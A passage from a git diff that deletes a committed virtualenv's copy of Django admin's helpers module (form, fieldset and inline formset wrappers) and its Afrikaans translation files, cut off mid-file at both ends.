self.model_admin = model_admin - if readonly_fields is None: - readonly_fields = () - self.readonly_fields = readonly_fields - - def __repr__(self): - return ( - f"<{self.__class__.__qualname__}: " - f"form={self.form.__class__.__qualname__} " - f"fieldsets={self.fieldsets!r}>" - ) - - def __iter__(self): - for name, options in self.fieldsets: - yield Fieldset( - self.form, - name, - readonly_fields=self.readonly_fields, - model_admin=self.model_admin, - **options, - ) - - @property - def errors(self): - return self.form.errors - - @property - def non_field_errors(self): - return self.form.non_field_errors - - @property - def fields(self): - return self.form.fields - - @property - def is_bound(self): - return self.form.is_bound - - @property - def media(self): - media = self.form.media - for fs in self: - media += fs.media - return media - - -class Fieldset: - def __init__( - self, - form, - name=None, - readonly_fields=(), - fields=(), - classes=(), - description=None, - model_admin=None, - ): - self.form = form - self.name, self.fields = name, fields - self.classes = " ".join(classes) - self.description = description - self.model_admin = model_admin - self.readonly_fields = readonly_fields - - @property - def media(self): - return forms.Media() - - @cached_property - def is_collapsible(self): - if any(field in self.fields for field in self.form.errors): - return False - return "collapse" in self.classes - - def __iter__(self): - for field in self.fields: - yield Fieldline( - self.form, field, self.readonly_fields, model_admin=self.model_admin - ) - - -class Fieldline: - def __init__(self, form, field, readonly_fields=None, model_admin=None): - self.form = form # A django.forms.Form instance - if not hasattr(field, "__iter__") or isinstance(field, str): - self.fields = [field] - else: - self.fields = field - self.has_visible_field = not all( - field in self.form.fields and self.form.fields[field].widget.is_hidden - for field in self.fields - ) - self.model_admin = model_admin - if readonly_fields is None: - readonly_fields = () - self.readonly_fields = readonly_fields - - def __iter__(self): - for i, field in enumerate(self.fields): - if field in self.readonly_fields: - yield AdminReadonlyField( - self.form, field, is_first=(i == 0), model_admin=self.model_admin - ) - else: - yield AdminField(self.form, field, is_first=(i == 0)) - - def errors(self): - return mark_safe( - "\n".join( - self.form[f].errors.as_ul() - for f in self.fields - if f not in self.readonly_fields - ).strip("\n") - ) - - -class AdminField: - def __init__(self, form, field, is_first): - self.field = form[field] # A django.forms.BoundField instance - self.is_first = is_first # Whether this field is first on the line - self.is_checkbox = isinstance(self.field.field.widget, forms.CheckboxInput) - self.is_readonly = False - - def label_tag(self): - classes = [] - contents = conditional_escape(self.field.label) - if self.is_checkbox: - classes.append("vCheckboxLabel") - - if self.field.field.required: - classes.append("required") - if not self.is_first: - classes.append("inline") - attrs = {"class": " ".join(classes)} if classes else {} - # checkboxes should not have a label suffix as the checkbox appears - # to the left of the label. - return self.field.label_tag( - contents=mark_safe(contents), - attrs=attrs, - label_suffix="" if self.is_checkbox else None, - ) - - def errors(self): - return mark_safe(self.field.errors.as_ul()) - - -class AdminReadonlyField: - def __init__(self, form, field, is_first, model_admin=None): - # Make self.field look a little bit like a field. This means that - # {{ field.name }} must be a useful class name to identify the field. - # For convenience, store other field-related data here too. - if callable(field): - class_name = field.__name__ if field.__name__ != "" else "" - else: - class_name = field - - if form._meta.labels and class_name in form._meta.labels: - label = form._meta.labels[class_name] - else: - label = label_for_field(field, form._meta.model, model_admin, form=form) - - if form._meta.help_texts and class_name in form._meta.help_texts: - help_text = form._meta.help_texts[class_name] - else: - help_text = help_text_for_field(class_name, form._meta.model) - - if field in form.fields: - is_hidden = form.fields[field].widget.is_hidden - else: - is_hidden = False - - self.field = { - "name": class_name, - "label": label, - "help_text": help_text, - "field": field, - "is_hidden": is_hidden, - } - self.form = form - self.model_admin = model_admin - self.is_first = is_first - self.is_checkbox = False - self.is_readonly = True - self.empty_value_display = model_admin.get_empty_value_display() - - def label_tag(self): - attrs = {} - if not self.is_first: - attrs["class"] = "inline" - label = self.field["label"] - return format_html( - "{}{}", - flatatt(attrs), - capfirst(label), - self.form.label_suffix, - ) - - def get_admin_url(self, remote_field, remote_obj): - url_name = "admin:%s_%s_change" % ( - remote_field.model._meta.app_label, - remote_field.model._meta.model_name, - ) - try: - url = reverse( - url_name, - args=[quote(remote_obj.pk)], - current_app=self.model_admin.admin_site.name, - ) - return format_html('{}', url, remote_obj) - except NoReverseMatch: - return str(remote_obj) - - def contents(self): - from django.contrib.admin.templatetags.admin_list import _boolean_icon - - field, obj, model_admin = ( - self.field["field"], - self.form.instance, - self.model_admin, - ) - try: - f, attr, value = lookup_field(field, obj, model_admin) - except (AttributeError, ValueError, ObjectDoesNotExist): - result_repr = self.empty_value_display - else: - if field in self.form.fields: - widget = self.form[field].field.widget - # This isn't elegant but suffices for contrib.auth's - # ReadOnlyPasswordHashWidget. - if getattr(widget, "read_only", False): - return widget.render(field, value) - if f is None: - if getattr(attr, "boolean", False): - result_repr = _boolean_icon(value) - else: - if hasattr(value, "__html__"): - result_repr = value - else: - result_repr = linebreaksbr(value) - else: - if isinstance(f.remote_field, ManyToManyRel) and value is not None: - result_repr = ", ".join(map(str, value.all())) - elif ( - isinstance(f.remote_field, (ForeignObjectRel, OneToOneField)) - and value is not None - ): - result_repr = self.get_admin_url(f.remote_field, value) - else: - result_repr = display_for_field(value, f, self.empty_value_display) - result_repr = linebreaksbr(result_repr) - return conditional_escape(result_repr) - - -class InlineAdminFormSet: - """ - A wrapper around an inline formset for use in the admin system. - """ - - def __init__( - self, - inline, - formset, - fieldsets, - prepopulated_fields=None, - readonly_fields=None, - model_admin=None, - has_add_permission=True, - has_change_permission=True, - has_delete_permission=True, - has_view_permission=True, - ): - self.opts = inline - self.formset = formset - self.fieldsets = fieldsets - self.model_admin = model_admin - if readonly_fields is None: - readonly_fields = () - self.readonly_fields = readonly_fields - if prepopulated_fields is None: - prepopulated_fields = {} - self.prepopulated_fields = prepopulated_fields - self.classes = " ".join(inline.classes) if inline.classes else "" - self.has_add_permission = has_add_permission - self.has_change_permission = has_change_permission - self.has_delete_permission = has_delete_permission - self.has_view_permission = has_view_permission - - def __iter__(self): - if self.has_change_permission: - readonly_fields_for_editing = self.readonly_fields - else: - readonly_fields_for_editing = self.readonly_fields + flatten_fieldsets( - self.fieldsets - ) - - for form, original in zip( - self.formset.initial_forms, self.formset.get_queryset() - ): - view_on_site_url = self.opts.get_view_on_site_url(original) - yield InlineAdminForm( - self.formset, - form, - self.fieldsets, - self.prepopulated_fields, - original, - readonly_fields_for_editing, - model_admin=self.opts, - view_on_site_url=view_on_site_url, - ) - for form in self.formset.extra_forms: - yield InlineAdminForm( - self.formset, - form, - self.fieldsets, - self.prepopulated_fields, - None, - self.readonly_fields, - model_admin=self.opts, - ) - if self.has_add_permission: - yield InlineAdminForm( - self.formset, - self.formset.empty_form, - self.fieldsets, - self.prepopulated_fields, - None, - self.readonly_fields, - model_admin=self.opts, - ) - - def fields(self): - fk = getattr(self.formset, "fk", None) - empty_form = self.formset.empty_form - meta_labels = empty_form._meta.labels or {} - meta_help_texts = empty_form._meta.help_texts or {} - for i, field_name in enumerate(flatten_fieldsets(self.fieldsets)): - if fk and fk.name == field_name: - continue - if not self.has_change_permission or field_name in self.readonly_fields: - form_field = empty_form.fields.get(field_name) - widget_is_hidden = False - if form_field is not None: - widget_is_hidden = form_field.widget.is_hidden - yield { - "name": field_name, - "label": meta_labels.get(field_name) - or label_for_field( - field_name, - self.opts.model, - self.opts, - form=empty_form, - ), - "widget": {"is_hidden": widget_is_hidden}, - "required": False, - "help_text": meta_help_texts.get(field_name) - or help_text_for_field(field_name, self.opts.model), - } - else: - form_field = empty_form.fields[field_name] - label = form_field.label - if label is None: - label = label_for_field( - field_name, self.opts.model, self.opts, form=empty_form - ) - yield { - "name": field_name, - "label": label, - "widget": form_field.widget, - "required": form_field.required, - "help_text": form_field.help_text, - } - - def inline_formset_data(self): - verbose_name = self.opts.verbose_name - return json.dumps( - { - "name": "#%s" % self.formset.prefix, - "options": { - "prefix": self.formset.prefix, - "addText": gettext("Add another %(verbose_name)s") - % { - "verbose_name": capfirst(verbose_name), - }, - "deleteText": gettext("Remove"), - }, - } - ) - - @property - def forms(self): - return self.formset.forms - - @cached_property - def is_collapsible(self): - if any(self.formset.errors): - return False - return "collapse" in self.classes - - def non_form_errors(self): - return self.formset.non_form_errors() - - @property - def is_bound(self): - return self.formset.is_bound - - @property - def total_form_count(self): - return self.formset.total_form_count - - @property - def media(self): - media = self.opts.media + self.formset.media - for fs in self: - media += fs.media - return media - - -class InlineAdminForm(AdminForm): - """ - A wrapper around an inline form for use in the admin system. - """ - - def __init__( - self, - formset, - form, - fieldsets, - prepopulated_fields, - original, - readonly_fields=None, - model_admin=None, - view_on_site_url=None, - ): - self.formset = formset - self.model_admin = model_admin - self.original = original - self.show_url = original and view_on_site_url is not None - self.absolute_url = view_on_site_url - super().__init__( - form, fieldsets, prepopulated_fields, readonly_fields, model_admin - ) - - def __iter__(self): - for name, options in self.fieldsets: - yield InlineFieldset( - self.formset, - self.form, - name, - self.readonly_fields, - model_admin=self.model_admin, - **options, - ) - - def needs_explicit_pk_field(self): - return ( - # Auto fields are editable, so check for auto or non-editable pk. - self.form._meta.model._meta.auto_field - or not self.form._meta.model._meta.pk.editable - # The pk can be editable, but excluded from the inline. - or ( - self.form._meta.exclude - and self.form._meta.model._meta.pk.name in self.form._meta.exclude - ) - or - # Also search any parents for an auto field. (The pk info is - # propagated to child models so that does not need to be checked - # in parents.) - any( - parent._meta.auto_field or not parent._meta.model._meta.pk.editable - for parent in self.form._meta.model._meta.all_parents - ) - ) - - def pk_field(self): - return AdminField(self.form, self.formset._pk_field.name, False) - - def fk_field(self): - fk = getattr(self.formset, "fk", None) - if fk: - return AdminField(self.form, fk.name, False) - else: - return "" - - def deletion_field(self): - from django.forms.formsets import DELETION_FIELD_NAME - - return AdminField(self.form, DELETION_FIELD_NAME, False) - - -class InlineFieldset(Fieldset): - def __init__(self, formset, *args, **kwargs): - self.formset = formset - super().__init__(*args, **kwargs) - - def __iter__(self): - fk = getattr(self.formset, "fk", None) - for field in self.fields: - if not fk or fk.name != field: - yield Fieldline( - self.form, field, self.readonly_fields, model_admin=self.model_admin - ) - - -class AdminErrorList(forms.utils.ErrorList): - """Store errors for the form/formsets in an add/change view.""" - - def __init__(self, form, inline_formsets): - super().__init__() - - if form.is_bound: - self.extend(form.errors.values()) - for inline_formset in inline_formsets: - self.extend(inline_formset.non_form_errors()) - for errors_in_inline_form in inline_formset.errors: - self.extend(errors_in_inline_form.values()) diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/af/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/af/LC_MESSAGES/django.mo deleted file mode 100644 index d43446fe..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/af/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/af/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/af/LC_MESSAGES/django.po deleted file mode 100644 index 1dbfdb7c..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/af/LC_MESSAGES/django.po +++ /dev/null @@ -1,788 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Christopher Penkin, 2012 -# Christopher Penkin, 2012 -# F Wolff , 2019-2020,2023-2025 -# Pi Delport , 2012 -# Pi Delport , 2012 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-19 11:30-0500\n" -"PO-Revision-Date: 2025-04-01 15:04-0500\n" -"Last-Translator: F Wolff , 2019-2020,2023-2025\n" -"Language-Team: Afrikaans (http://app.transifex.com/django/django/language/" -"af/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: af\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "Skrap gekose %(verbose_name_plural)s" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "Het %(count)d %(items)s suksesvol geskrap." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "Kan %(name)s nie skrap nie" - -msgid "Delete multiple objects" -msgstr "Skrap meerdere objekte" - -msgid "Administration" -msgstr "Administrasie" - -msgid "All" -msgstr "Almal" - -msgid "Yes" -msgstr "Ja" - -msgid "No" -msgstr "Nee" - -msgid "Unknown" -msgstr "Onbekend" - -msgid "Any date" -msgstr "Enige datum" - -msgid "Today" -msgstr "Vandag" - -msgid "Past 7 days" -msgstr "Vorige 7 dae" - -msgid "This month" -msgstr "Hierdie maand" - -msgid "This year" -msgstr "Hierdie jaar" - -msgid "No date" -msgstr "Geen datum" - -msgid "Has date" -msgstr "Het datum" - -msgid "Empty" -msgstr "Leeg" - -msgid "Not empty" -msgstr "Nie leeg nie" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"Gee die korrekte %(username)s en wagwoord vir ’n personeelrekening. Let op " -"dat altwee velde dalk hooflettersensitief is." - -msgid "Action:" -msgstr "Aksie:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "Voeg nog ’n %(verbose_name)s by" - -msgid "Remove" -msgstr "Verwyder" - -msgid "Addition" -msgstr "Byvoeging" - -msgid "Change" -msgstr "" - -msgid "Deletion" -msgstr "Verwydering" - -msgid "action time" -msgstr "aksietyd" - -msgid "user" -msgstr "gebruiker" - -msgid "content type" -msgstr "inhoudtipe" - -msgid "object id" -msgstr "objek-ID" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "objek-repr" - -msgid "action flag" -msgstr "aksievlag" - -msgid "change message" -msgstr "veranderingboodskap" - -msgid "log entry" -msgstr "log-inskrywing" - -msgid "log entries" -msgstr "log-inskrywingings" - -#, python-format -msgid "Added “%(object)s”." -msgstr "Het “%(object)s” bygevoeg." - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "Het “%(object)s” gewysig — %(changes)s" - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "Het “%(object)s” geskrap." - -msgid "LogEntry Object" -msgstr "LogEntry-objek" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "Het {name} “{object}” bygevoeg." - -msgid "Added." -msgstr "Bygevoeg." - -msgid "and" -msgstr "en" - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "Het {fields} vir {name} “{object}” bygevoeg." - -#, python-brace-format -msgid "Changed {fields}." -msgstr "Het {fields} verander." - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "Het {name} “{object}” geskrap." - -msgid "No fields changed." -msgstr "Geen velde het verander nie." - -msgid "None" -msgstr "Geen" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "Hou “Control” in (of “Command” op ’n Mac) om meer as een te kies." - -msgid "Select this object for an action - {}" -msgstr "Kies dié objek vir ’n aksie - {}" - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "Die {name} “{obj}” is suksesvol bygevoeg." - -msgid "You may edit it again below." -msgstr "Dit kan weer hieronder gewysig word." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "" -"Die {name} “{obj}” is suksesvol bygevoeg. Voeg gerus nog ’n {name} onder by." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "" -"Die {name} “{obj}” is suksesvol gewysig. Redigeer dit gerus weer onder." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "" -"Die {name} “{obj}” is suksesvol bygevoeg. Voeg gerus nog ’n {name} onder by." - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "Die {name} “{obj}” is suksesvol gewysig." - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"Items moet gekies word om aksies op hulle uit te voer. Geen items is " -"verander nie." - -msgid "No action selected." -msgstr "Geen aksie gekies nie." - -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "Die %(name)s “%(obj)s” is suksesvol geskrap." - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "%(name)s met ID “%(key)s” bestaan nie. Is dit dalk geskrap?" - -#, python-format -msgid "Add %s" -msgstr "Voeg %s by" - -#, python-format -msgid "Change %s" -msgstr "Wysig %s" - -#, python-format -msgid "View %s" -msgstr "Beskou %s" - -msgid "Database error" -msgstr "Databasisfout" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "%(count)s %(name)s is suksesvol verander." -msgstr[1] "%(count)s %(name)s is suksesvol verander." - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "%(total_count)s gekies" -msgstr[1] "Al %(total_count)s gekies" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "0 uit %(cnt)s gekies" - -msgid "Delete" -msgstr "Skrap" - -#, python-format -msgid "Change history: %s" -msgstr "Verander geskiedenis: %s" - -#. Translators: Model verbose name and instance -#. representation, suitable to be an item in a -#. list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s %(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" -"Om %(class_name)s %(instance)s te skrap sal vereis dat die volgende " -"beskermde verwante objekte geskrap word: %(related_objects)s" - -msgid "Django site admin" -msgstr "Django-werfadmin" - -msgid "Django administration" -msgstr "Django-administrasie" - -msgid "Site administration" -msgstr "Werfadministrasie" - -msgid "Log in" -msgstr "Meld aan" - -#, python-format -msgid "%(app)s administration" -msgstr "%(app)s-administrasie" - -msgid "Page not found" -msgstr "Bladsy nie gevind nie" - -msgid "We’re sorry, but the requested page could not be found." -msgstr "Jammer! Die aangevraagde bladsy kon nie gevind word nie." - -msgid "Home" -msgstr "Tuis" - -msgid "Server error" -msgstr "Bedienerfout" - -msgid "Server error (500)" -msgstr "Bedienerfout (500)" - -msgid "Server Error (500)" -msgstr "Bedienerfout (500)" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" -"’n Fout het voorgekom Dit is via e-pos aan die werfadministrateurs " -"gerapporteer en behoort binnekort reggestel te word. Dankie vir u geduld." - -msgid "Run the selected action" -msgstr "Voer die gekose aksie uit" - -msgid "Go" -msgstr "Gaan" - -msgid "Click here to select the objects across all pages" -msgstr "Kliek hier om die objekte oor alle bladsye te kies." - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "Kies al %(total_count)s %(module_name)s" - -msgid "Clear selection" -msgstr "Verwyder keuses" - -msgid "Breadcrumbs" -msgstr "Broodkrummels" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "Modelle in die %(name)s-toepassing" - -msgid "Model name" -msgstr "" - -msgid "Add link" -msgstr "Voeg skakel by" - -msgid "Change or view list link" -msgstr "" - -msgid "Add" -msgstr "Voeg by" - -msgid "View" -msgstr "Bekyk" - -msgid "You don’t have permission to view or edit anything." -msgstr "U het nie regte om enigiets te sien of te redigeer nie." - -msgid "After you’ve created a user, you’ll be able to edit more user options." -msgstr "" -"Nadat ’n gebruiker geskep is, kan meer gebruikerkeuses geredigeer word." - -msgid "Error:" -msgstr "Fout:" - -msgid "Change password" -msgstr "Verander wagwoord" - -msgid "Set password" -msgstr "Stel wagwoord" - -msgid "Please correct the error below." -msgid_plural "Please correct the errors below." -msgstr[0] "Korrigeer asb. die fout hier onder." -msgstr[1] "Korrigeer asb. die foute hier onder." - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "Vul ’n nuwe wagwoord vir gebruiker %(username)s in." - -msgid "" -"This action will enable password-based authentication for " -"this user." -msgstr "" -"Dié aksie sal wagwoordgebaseerde aanmelding aktiveer vir " -"dié gebruiker." - -msgid "Disable password-based authentication" -msgstr "Deaktiveer wagwoordgebaseerde aanmelding" - -msgid "Enable password-based authentication" -msgstr "Aktiveer wagwoordgebaseerde aanmelding" - -msgid "Skip to main content" -msgstr "Gaan direk na hoofinhoud" - -msgid "Welcome," -msgstr "Welkom," - -msgid "View site" -msgstr "Besoek werf" - -msgid "Documentation" -msgstr "Dokumentasie" - -msgid "Log out" -msgstr "Meld af" - -#, python-format -msgid "Add %(name)s" -msgstr "Voeg %(name)s by" - -msgid "History" -msgstr "Geskiedenis" - -msgid "View on site" -msgstr "Bekyk op werf" - -msgid "Filter" -msgstr "Filtreer" - -msgid "Hide counts" -msgstr "Versteek tellings" - -msgid "Show counts" -msgstr "Wys tellings" - -msgid "Clear all filters" -msgstr "Verwyder alle filters" - -msgid "Remove from sorting" -msgstr "Verwyder uit sortering" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "Sorteerprioriteit: %(priority_number)s" - -msgid "Toggle sorting" -msgstr "Wissel sortering" - -msgid "Toggle theme (current theme: auto)" -msgstr "Wissel tema (tans: outomaties)" - -msgid "Toggle theme (current theme: light)" -msgstr "Wissel tema (tans: lig)" - -msgid "Toggle theme (current theme: dark)" -msgstr "Wissel tema (tans: donker)" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"Om die %(object_name)s %(escaped_object)s te skrap sou verwante objekte " -"skrap, maar jou rekening het nie toestemming om die volgende tipes objekte " -"te skrap nie:" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"Om die %(object_name)s “%(escaped_object)s” te skrap vereis dat die volgende " -"beskermde verwante objekte geskrap word:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"Wil u definitief die %(object_name)s “%(escaped_object)s” skrap? Al die " -"volgende verwante items sal geskrap word:" - -msgid "Objects" -msgstr "Objekte" - -msgid "Yes, I’m sure" -msgstr "Ja, ek is seker" - -msgid "No, take me back" -msgstr "Nee, ek wil teruggaan" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"Om die gekose %(objects_name)s te skrap sou verwante objekte skrap, maar u " -"rekening het nie toestemming om die volgende tipes objekte te skrap nie:" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"Om die gekose %(objects_name)s te skrap vereis dat die volgende beskermde " -"verwante objekte geskrap word:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"Wil u definitief die gekose %(objects_name)s skrap? Al die volgende objekte " -"en hul verwante items sal geskrap word:" - -msgid "Delete?" -msgstr "Skrap?" - -#, python-format -msgid " By %(filter_title)s " -msgstr " Volgens %(filter_title)s " - -msgid "Summary" -msgstr "Opsomming" - -msgid "Recent actions" -msgstr "Onlangse aksies" - -msgid "My actions" -msgstr "My aksies" - -msgid "None available" -msgstr "Niks beskikbaar nie" - -msgid "Added:" -msgstr "Bygevoeg:" - -msgid "Changed:" -msgstr "Gewysig:" - -msgid "Deleted:" -msgstr "Geskrap:" - -msgid "Unknown content" -msgstr "Onbekende inhoud" - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"Iets is fout met die databasisinstallasie. Maak seker die gepaste " -"databasistabelle is geskep en maak seker die databasis is leesbaar deur die " -"gepaste gebruiker." - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" -"U is aangemeld as %(username)s, maar het nie toegang tot hierdie bladsy nie. " -"Wil u met ’n ander rekening aanmeld?" - -msgid "Forgotten your login credentials?" -msgstr "Aanmeldinligting vergeet?" - -msgid "Toggle navigation" -msgstr "Navigasie aan/af" - -msgid "Sidebar" -msgstr "Kantbalk" - -msgid "Start typing to filter…" -msgstr "Tik om te filtreer..." - -msgid "Filter navigation items" -msgstr "Filtreer navigasie-items" - -msgid "Date/time" -msgstr "Datum/tyd" - -msgid "User" -msgstr "Gebruiker" - -msgid "Action" -msgstr "Aksie" - -msgid "entry" -msgid_plural "entries" -msgstr[0] "inskrywing" -msgstr[1] "inskrywings" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "" -"Dié objek het nie 'n wysigingsgeskiedenis. Dit is waarskynlik nie deur dié " -"adminwerf bygevoeg nie." - -msgid "Show all" -msgstr "Wys almal" - -msgid "Save" -msgstr "Stoor" - -msgid "Popup closing…" -msgstr "Opspringer sluit tans…" - -msgid "Search" -msgstr "Soek" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s resultaat" -msgstr[1] "%(counter)s resultate" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "%(full_result_count)s in totaal" - -msgid "Save as new" -msgstr "Stoor as nuwe" - -msgid "Save and add another" -msgstr "Stoor en voeg ’n ander by" - -msgid "Save and continue editing" -msgstr "Stoor en wysig verder" - -msgid "Save and view" -msgstr "Stoor en bekyk" - -msgid "Close" -msgstr "Sluit" - -#, python-format -msgid "Change selected %(model)s" -msgstr "Wysig gekose %(model)s" - -#, python-format -msgid "Add another %(model)s" -msgstr "Voeg nog ’n %(model)s by" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "Skrap gekose %(model)s" - -#, python-format -msgid "View selected %(model)s" -msgstr "Wys gekose %(model)s" - -msgid "Thanks for spending some quality time with the web site today." -msgstr "" -"Dankie vir die kwaliteittyd wat u met die webwerf deurgebring het vandag." - -msgid "Log in again" -msgstr "Meld weer aan" - -msgid "Password change" -msgstr "Wagwoordverandering" - -msgid "Your password was changed." -msgstr "Die wagwoord is verander." - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"Gee asb. die ou wagwoord t.w.v. sekuriteit, en gee dan die nuwe wagwoord " -"twee keer sodat ons kan verifieer dat dit korrek getik is." - -msgid "Change my password" -msgstr "Verander my wagwoord" - -msgid "Password reset" -msgstr "Wagwoordherstel" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "Jou wagwoord is gestel. Jy kan nou voortgaan en aanmeld." - -msgid "Password reset confirmation" -msgstr "Bevestig wagwoordherstel" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" -"Tik die nuwe wagwoord twee keer in so ons kan seker wees dat dit korrek " -"ingetik is." - -msgid "New password:" -msgstr "Nuwe wagwoord:" - -msgid "Confirm password:" -msgstr "Bevestig wagwoord:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"Die skakel vir wagwoordherstel was ongeldig, dalk omdat dit reeds gebruik " -"is. Vra gerus ’n nuwe een aan." - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" -"Ons het instruksies gestuur om ’n wagwoord in te stel as ’n rekening bestaan " -"met die gegewe e-posadres. Dit behoort binnekort afgelewer te word." - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" -"As u geen e-pos ontvang nie, kontroleer dat die e-posadres waarmee " -"geregistreer is, gegee is, en kontroleer die gemorspos." - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"U ontvang hierdie e-pos omdat u ’n wagwoordherstel vir u rekening by " -"%(site_name)s aangevra het." - -msgid "Please go to the following page and choose a new password:" -msgstr "Gaan asseblief na die volgende bladsy en kies ’n nuwe wagwoord:" - -msgid "In case you’ve forgotten, you are:" -msgstr "Vir ingeval u vergeet het, u is:" - -msgid "Thanks for using our site!" -msgstr "Dankie vir die gebruik van ons webwerf!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "Die %(site_name)s span" - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" -"Die wagwoord vergeet? Tik u e-posadres hieronder en ons sal instruksies vir " -"die instel van ’n nuwe wagwoord stuur." - -msgid "Email address:" -msgstr "E-posadres:" - -msgid "Reset my password" -msgstr "Herstel my wagwoord" - -msgid "Select all objects on this page for an action" -msgstr "Kies alle objekte op dié bladsy vir ’n aksie" - -msgid "All dates" -msgstr "Alle datums" - -#, python-format -msgid "Select %s" -msgstr "Kies %s" - -#, python-format -msgid "Select %s to change" -msgstr "Kies %s om te verander" - -#, python-format -msgid "Select %s to view" -msgstr "Kies %s om te bekyk" - -msgid "Date:" -msgstr "Datum:" - -msgid "Time:" -msgstr "Tyd:" - -msgid "Lookup" -msgstr "Soek" - -msgid "Currently:" -msgstr "Tans:" - -msgid "Change:" -msgstr "Wysig:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/af/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/af/LC_MESSAGES/djangojs.mo deleted file mode 100644 index 8c9f5892..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/af/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/af/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/af/LC_MESSAGES/djangojs.po deleted file mode 100644 index e6bdbd22..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/af/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,312 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# F Wolff , 